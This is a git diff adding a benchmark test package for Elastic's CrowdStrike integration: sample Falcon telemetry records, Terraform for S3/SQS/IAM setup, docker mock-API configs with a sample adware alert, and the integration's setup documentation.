+{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"} +{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1601546312519"} +{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"} +{"BootArgs":" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2125824 NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"} +{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"} +{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"} +{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"} +{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"} +{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"} +{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":13140498271151144192,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf new file mode 100644 index 0000000000..ac47ae84b0 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf @@ -0,0 +1,125 @@ +provider "aws" { + default_tags { + tags = { + environment = var.ENVIRONMENT + repo = var.REPO + branch = var.BRANCH + build = var.BUILD_ID + created_date = var.CREATED_DATE + } + } +} + +resource "aws_s3_bucket" "crowdstrike_fdr" { + bucket = "${var.bucket_name}-${var.TEST_RUN_ID}" +} + +resource "aws_s3_object" "crowdstrike_data" { + bucket = aws_s3_bucket.crowdstrike_fdr.id + key = "data" + source = "./files/fdr-sample.log" +} + +resource "aws_s3_object" "crowdstrike_aidmaster" { + bucket = aws_s3_bucket.crowdstrike_fdr.id + key = "fdrv2/aidmaster" + source = "./files/fdr-0_aidmaster.log" +} + +resource "aws_s3_object" "crowdstrike_userinfo" { + bucket = aws_s3_bucket.crowdstrike_fdr.id + key = "fdrv2/userinfo" + source = "./files/fdr-0_userinfo.log" +} + +resource "aws_sqs_queue" "crowdstrike_queue" { + name = "elastic-package-crowdstrike-queue-${var.TEST_RUN_ID}" +} + +# IAM Policy for EventBridge Scheduler +resource "aws_iam_policy" "sqs_access_policy" { + count = var.eventbridge_role_arn == null ? 1 : 0 + name = "sqs-access-policy-${var.TEST_RUN_ID}" + description = "Policy for EventBridge Scheduler to send messages to SQS" + + policy = jsonencode({ + Version = "2012-10-17" + Statement = [ + { + Action = [ + "sqs:ReceiveMessage", + "sqs:SendMessage" + ], + Effect = "Allow" + Resource = aws_sqs_queue.crowdstrike_queue.arn + } + ] + }) +} + +# IAM Role for EventBridge Scheduler +resource "aws_iam_role" "eventbridge_scheduler_iam_role" { + count = var.eventbridge_role_arn == null ? 1 : 0 + name_prefix = "eb-scheduler-role-${var.TEST_RUN_ID}-" + managed_policy_arns = [aws_iam_policy.sqs_access_policy.0.arn] + path = "/" + assume_role_policy = <Note: Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration. + +2. **CrowdStrike REST API**: This provides a programmatic interface to interact with the CrowdStrike Falcon platform. It allows users to perform various operations such as querying information about unified alerts and hosts/devices. It includes the following datasets for receiving logs: + +- `alert` dataset: It is typically used to retrieve detailed information about unified alerts generated by the CrowdStrike Falcon platform, via Falcon Intelligence Alert API - `/alerts/combined/alerts/v1`. + +- `host` dataset: It retrieves all the hosts/devices in your environment providing information such as device metadata, configuration, and status generated by the CrowdStrike Falcon platform, via Falcon Intelligence Host/Device API - `/devices/combined/devices/v1`. For GovCloud CIDs it uses `/devices/queries/devices/v1` and `/devices/entities/devices/v2` endpoints. It is more focused to provide the management and monitoring information of devices such as login details, status, policies, configuration etc. + + > NOTE: GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint. + +- `vulnerability` dataset: It retrieves all the vulnerabilities in your environment, providing information such as severity, status, confidence levels, remediation guidance, and affected hosts, as detected by the CrowdStrike Falcon platform, via the Falcon Spotlight Vulnerability API - `/spotlight/combined/vulnerabilities/v1`. + +3. **Falcon Data Replicator**: This collects events from your endpoints, cloud workloads, identities, and data. CrowdStrike Falcon Data Replicator (FDR) enables you with actionable insights to improve SOC performance. FDR contains data collected by the Falcon platform's single, lightweight agent. It includes the following datasets for receiving logs: + +- `fdr` dataset: consists of logs forwarded using the [Falcon Data Replicator](https://github.com/CrowdStrike/FDR). In addition to the existing log types, the integration supports parsing of Cloud Security Posture Management (CSPM). CSPM contains Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events. + +4. **CrowdStrike Event Stream**: This streams security logs from CrowdStrike Event Stream, including authentication activity, cloud security posture management (CSPM), firewall logs, user activity, and XDR data. It captures real-time security events like user logins, cloud environment changes, network traffic, and advanced threat detections. The streaming integration provides continuous monitoring and analysis for proactive threat detection. It enhances visibility into user behavior, network security, and overall system health. This setup enables faster response capabilities to emerging security incidents. It includes the following datasets for receiving logs: + +- `falcon` dataset: consists of streaming data forwarded from CrowdStrike Event Stream. + +## Compatibility + +This integration is compatible with CrowdStrike Falcon SIEM-Connector-v2.0, REST API, and CrowdStrike Event Streaming. +For Rest API support, this module has been tested against the **CrowdStrike API Version v1/v2**. + +## Requirements + +### Agentless enabled integration +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + +### Agent based installation + +Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md). +You can install only one Elastic Agent per host. +Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines. + +## Setup + +### Collect data from CrowdStrike REST API + +The following parameters from your CrowdStrike instance are required: + +1. Client ID +2. Client Secret +3. Token url +4. API Endpoint url +5. Required scopes for each data stream : + + | Data Stream | Scope | + | ------------- | ------------- | + | Alert | read:alert | + | Host | read:host | + | Vulnerability | read:vulnerability | + +### Collect data from CrowdStrike Event Stream + +The following parameters from your CrowdStrike instance are required: + +1. Client ID +2. Client Secret +3. Token URL +4. API Endpoint URL +5. CrowdStrike App ID +6. Required scopes for event stream: + + | Data Stream | Scope | + | ------------- | ------------------- | + | Event Stream | read: Event streams | + +## Logs + +### Alert + +This is the `Alert` dataset. + +#### Example + +{{event "alert"}} + +{{fields "alert"}} + +### Falcon + +Contains endpoint data and CrowdStrike Falcon platform audit data forwarded from Falcon SIEM Connector. + +#### Falcon SIEM Connector configuration file + +By default, the configuration file located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg` provides configuration options related to the events collected by Falcon SIEM Connector. + +Parts of the configuration file called `EventTypeCollection` and `EventSubTypeCollection` provides a list of event types that the connector should collect. + +Current supported event types are: +- CustomerIOCEvent +- DataProtectionDetectionSummaryEvent +- DetectionSummaryEvent +- EppDetectionSummaryEvent +- IncidentSummaryEvent +- UserActivityAuditEvent +- AuthActivityAuditEvent +- FirewallMatchEvent +- RemoteResponseSessionStartEvent +- RemoteResponseSessionEndEvent +- CSPM Streaming events +- CSPM Search events +- IDP Incidents +- IDP Summary events +- Mobile Detection events +- Recon Notification events +- XDR Detection events +- Scheduled Report Notification events + +{{fields "falcon"}} + +{{event "falcon"}} + +### FDR + +The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike +managed S3 buckets. CrowdStrike writes notification events to a CrowdStrike managed SQS queue when new data is available in S3. + +This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed +SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket +and the integration can read from there. + +In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic +Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time. + +#### Use with CrowdStrike managed S3/SQS + +This is the simplest way to setup the integration, and also the default. + +You need to set the integration up with the SQS queue URL provided by Crowdstrike FDR. + +#### Use with FDR tool and data replicated to a self-managed S3 bucket + +This option can be used if you want to archive the raw CrowdStrike data. + +You need to follow the steps below: + +- Create a S3 bucket to receive the logs. +- Create a SQS queue. +- Configure your S3 bucket to send object created notifications to your SQS queue. +- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket. +- Configure the integration to read from your self-managed SQS topic. + +> NOTE: While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files. + +#### Configuration for the S3 input + +AWS credentials are required for running this integration if you want to use the S3 input. + +##### Configuration parameters +* `access_key_id`: first part of access key. +* `secret_access_key`: second part of access key. +* `session_token`: required when using temporary security credentials. +* `credential_profile_name`: profile name in shared credentials file. +* `shared_credential_file`: directory of the shared credentials file. +* `endpoint`: URL of the entry point for an AWS web service. +* `role_arn`: AWS IAM Role to assume. + +##### Credential Types +There are three types of AWS credentials can be used: + +- access keys, +- temporary security credentials, and +- IAM role ARN. + +##### Access keys + +`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys. +They are long-term credentials for an IAM user, or the AWS account root user. +Please see [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys) +for more details. + +##### Temporary security credentials + +Temporary security credentials has a limited lifetime and consists of an +access key ID, a secret access key, and a security token which typically returned +from `GetSessionToken`. + +MFA-enabled IAM users would need to submit an MFA code +while calling `GetSessionToken`. `default_region` identifies the AWS Region +whose servers you want to send your first API request to by default. + +This is typically the Region closest to you, but it can be any Region. Please see +[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +for more details. + +`sts get-session-token` AWS CLI can be used to generate temporary credentials. +For example. with MFA-enabled: +```js +aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456 +``` + +Because temporary security credentials are short term, after they expire, the +user needs to generate new ones and manually update the package configuration in +order to continue collecting `aws` metrics. + +This will cause data loss if the configuration is not updated with new credentials before the old ones expire. + +##### IAM role ARN + +An IAM role is an IAM identity that you can create in your account that has +specific permissions that determine what the identity can and cannot do in AWS. + +A role does not have standard long-term credentials such as a password or access +keys associated with it. Instead, when you assume a role, it provides you with +temporary security credentials for your role session. +IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate +temporary credentials. + +Please see [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details. + +##### Supported Formats +1. Use access keys: Access keys include `access_key_id`, `secret_access_key` +and/or `session_token`. +2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume + for generating temporary credentials. + If `role_arn` is given, the package will check if access keys are given. + If not, the package will check for credential profile name. + If neither is given, default credential profile will be used. + + Please make sure credentials are given under either a credential profile or + access keys. +3. Use `credential_profile_name` and/or `shared_credential_file`: + If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then + the package will check for `credential_profile_name`. + If you use different credentials for different tools or applications, you can use profiles to + configure multiple access keys in the same configuration file. + If there is no `credential_profile_name` given, the default profile will be used. + `shared_credential_file` is optional to specify the directory of your shared + credentials file. + If it's empty, the default directory will be used. + In Windows, shared credentials file is at `C:\Users\\.aws\credentials`. + For Linux, macOS or Unix, the file locates at `~/.aws/credentials`. + Please see[Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html) + for more details. + +#### Troubleshooting + +##### Vulnerability API returns 404 Not found + +This error may occur for the following reasons: +1. Too many records in the response. +2. The pagination token has expired. Tokens expire 120 seconds after a call is made. + +To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call. + +##### Duplicate Events + +The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events may be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of Crowdstrike fields that uniquely identifies the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique, thus avoiding duplicates. + +If duplicate events are ingested, to help find them, the integration `event.id` field is populated by concatenating a few Crowdstrike fields that uniquely identifies the event. These fields are `id`, `aid`, and `cid` from the Crowdstrike event. The fields are separated with pipe `|`. +For example, if your Crowdstrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`. + +#### Alert severity mapping + +The values used in `event.severity` are consistent with Elastic Detection Rules. + +| Severity Name | `event.severity` | +|----------------------------|:----------------:| +| Low, Info or Informational | 21 | +| Medium | 47 | +| High | 73 | +| Critical | 99 | + +If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table. + +| Crowdstrike `severity` | Severity Name | +|------------------------|:-------------:| +| 0 - 19 | info | +| 20 - 39 | low | +| 40 - 59 | medium | +| 60 - 79 | high | +| 80 - 100 | critical | + +#### Example + +{{fields "fdr"}} + +{{event "fdr"}} + +### Host + +This is the `Host` dataset. + +#### Example + +{{event "host"}} + +{{fields "host"}} + +### Vulnerability + +This is the `Vulnerability` dataset. + +#### Example + +{{event "vulnerability"}} + +{{fields "vulnerability"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml new file mode 100644 index 0000000000..774034e0c2 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml @@ -0,0 +1,41 @@ +version: '2.3' +services: + crowdstrike-alert: + image: docker.elastic.co/observability/stream:v0.18.0 + hostname: crowdstrike-alert + ports: + - 8090 + volumes: + - ./files:/files:ro + environment: + PORT: '8090' + command: + - http-server + - --addr=:8090 + - --config=/files/config-alert.yml + crowdstrike-host: + image: docker.elastic.co/observability/stream:v0.18.0 + hostname: crowdstrike-host + ports: + - 8090 + volumes: + - ./files:/files:ro + environment: + PORT: '8090' + command: + - http-server + - --addr=:8090 + - --config=/files/config-host.yml + crowdstrike-vulnerability: + image: docker.elastic.co/observability/stream:v0.18.0 + hostname: crowdstrike-vulnerability + ports: + - 8090 + volumes: + - ./files:/files:ro + environment: + PORT: '8090' + command: + - http-server + - --addr=:8090 + - --config=/files/config-vulnerability.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml new file mode 100644 index 0000000000..3857adee1a --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml @@ -0,0 +1,475 @@ +rules: + - path: /oauth2/token + methods: ['POST'] + responses: + - status_code: 200 + headers: + Content-Type: + - 'application/json' + body: | + {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"} + - path: /alerts/combined/alerts/v1 + methods: ['POST'] + request_body: /.*"page-2"*/ + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{ minify_json ` + { + "meta": { + "pagination": { + "total": 3, + "limit": 1 + } + }, + "errors": [], + "resources": [ + { + "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "alleged_filetype": "exe", + "cid": "92012896127c4a948236ba7601b886b0", + "cloud_indicator": "false", + "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"", + "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "confidence": 10, + "context_timestamp": "2023-11-03T18:00:31Z", + "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778", + "crawl_edge_ids": { + "Sensor": [ + "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N", + "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!", + "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr", + "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'", + "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N" + ] + }, + "crawl_vertex_ids": { + "Sensor": [ + "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778", + "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993", + "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425" + ] + }, + "crawled_timestamp": "2023-11-03T19:00:23.985020992Z", + "created_timestamp": "2023-11-03T18:01:23.995794943Z", + "data_domains": [ + "Endpoint" + ], + "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "device": { + "agent_load_flags": "0", + "agent_local_time": "2023-10-12T03:45:57.753Z", + "agent_version": "7.04.17605.0", + "bios_manufacturer": "ABC", + "bios_version": "F8CN42WW(V2.05)", + "cid": "92012896127c4a948236ba7601b886b0", + "config_id_base": "65994763", + "config_id_build": "17605", + "config_id_platform": "3", + "device_id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "external_ip": "81.2.69.142", + "first_seen": "2023-04-07T09:36:36Z", + "groups": [ + "18704e21288243b58e4c76266d38caaf" + ], + "hostinfo": { + "active_directory_dn_display": [ + "WinComputers", + "WinComputers\\ABC" + ], + "domain": "ABC.LOCAL" + }, + "hostname": "ABC709-1175", + "last_seen": "2023-11-03T17:51:42Z", + "local_ip": "81.2.69.142", + "mac_address": "ab-21-48-61-05-b2", + "machine_domain": "ABC.LOCAL", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2023-11-03T17:53:43Z", + "os_version": "Windows11", + "ou": [ + "ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "pod_labels": null, + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": 